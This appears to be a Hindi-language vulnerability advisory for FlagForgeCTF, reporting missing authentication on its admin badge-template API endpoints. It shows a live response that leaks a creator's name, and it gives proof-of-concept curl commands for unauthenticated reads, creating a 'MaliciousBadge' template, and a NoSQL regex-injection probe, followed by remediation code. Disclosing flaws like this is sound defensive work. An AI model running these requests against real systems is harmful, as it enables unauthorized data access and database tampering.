
CVE on FlagForgeCTF संस्करण v2.0.0 से v2.3.1 तक। समस्या को ठीक करने के लिए संस्करण 2.3.2 में अपग्रेड किया गया।
Flagforge एप्लिकेशन (https://flagforge.xyz) अपने प्रशासनिक API एंडपॉइंट्स, विशेष रूप से /api/admin/badge-templates (GET) और /api/admin/badge-templates/create (POST) में गंभीर कमजोरियाँ उजागर करता है। दोनों एंडपॉइंट्स में प्रमाणीकरण और प्राधिकरण नियंत्रण का अभाव है, जिससे बिना प्रमाणित उपयोगकर्ता संवेदनशील बैज टेम्पलेट डेटा प्राप्त कर सकते हैं और MongoDB डेटाबेस में मनमाने टेम्पलेट बना सकते हैं। इससे अनधिकृत डेटा एक्सपोज़र, डेटाबेस प्रदूषण, या बैज सिस्टम का दुरुपयोग (जैसे, दुर्भावनापूर्ण या स्पैम टेम्पलेट बनाना) हो सकता है।
/api/admin/badge-templates:
badgeTemplates संग्रह में संग्रहीत सभी बैज टेम्पलेट्स की एक JSON सरणी लौटाता है।_id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt, और __v शामिल हैं। x0w1z ~ curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
/api/admin/badge-templates/create:
name, description, icon, color, isActive, और createdBy के साथ नए बैज टेम्पलेट्स के निर्माण की अनुमति देता है।name, description, और icon की उपस्थिति के लिए न्यूनतम सत्यापन जाँच, और यह सुनिश्चित करता है कि कोई डुप्लिकेट name मौजूद न हो।const templateDoc = {
name: name.trim(),
description: description.trim(),
icon: icon.trim(),
color: color || '#8B5CF6',
isActive: isActive !== undefined ? isActive : true,
createdAt: new Date(),
createdBy: createdBy || 'unknown'
};
const result = await db.collection('badgeTemplates').insertOne(templateDoc);
Lagzen Thakuri, [email protected]) और मेटाडेटा को उजागर करता है, जिससे टोही या फ़िशिंग संभव होती है।?name[$ne]=test) का समर्थन करता है।name और createdBy को लॉग करता है, जिसका दुरुपयोग लॉग स्पैम या इंजेक्शन के लिए किया जा सकता है।AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
https://flagforge.xyz)/api/admin/badge-templates (GET) और /api/admin/badge-templates/create (POST)।badgeTemplates संग्रह।server: Vercel हेडर से अनुमानित)।NextRequest/NextResponse सिंटैक्स के आधार पर Next.js 13+)।@/utlis/db कनेक्ट उपयोगिता के माध्यम से), Next.js।createdBy) और मेटाडेटा (createdAt, updatedAt) का एक्सपोज़र, जिसका उपयोग सोशल इंजीनियरिंग या लक्षित हमलों के लिए किया जा सकता है।संवेदनशील डेटा पुनर्प्राप्त करें (GET):
curl https://flagforge.xyz/api/admin/badge-templates
createdBy (जैसे, [email protected]) जैसे संवेदनशील फ़ील्ड्स शामिल हैं।अनधिकृत टेम्पलेट बनाएं (POST) और टेम्पलेट्स हटाएं (DELETE):
curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
-H "Content-Type: application/json" \
-d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
badgeTemplates संग्रह में एक नया टेम्पलेट बनाता है।संभावित NoSQL इंजेक्शन (GET, यदि क्वेरी पैरामीटर समर्थित हैं):
curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
// POST एंडपॉइंट के लिए उदाहरण मिडलवेयर
export async function POST(request: NextRequest) {
const authHeader = request.headers.get('authorization');
if (!authHeader || !verifyToken(authHeader)) { // verifyToken लागू करें
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
}
// ... मौजूदा कोड ...
}
createdBy को बाहर करें)।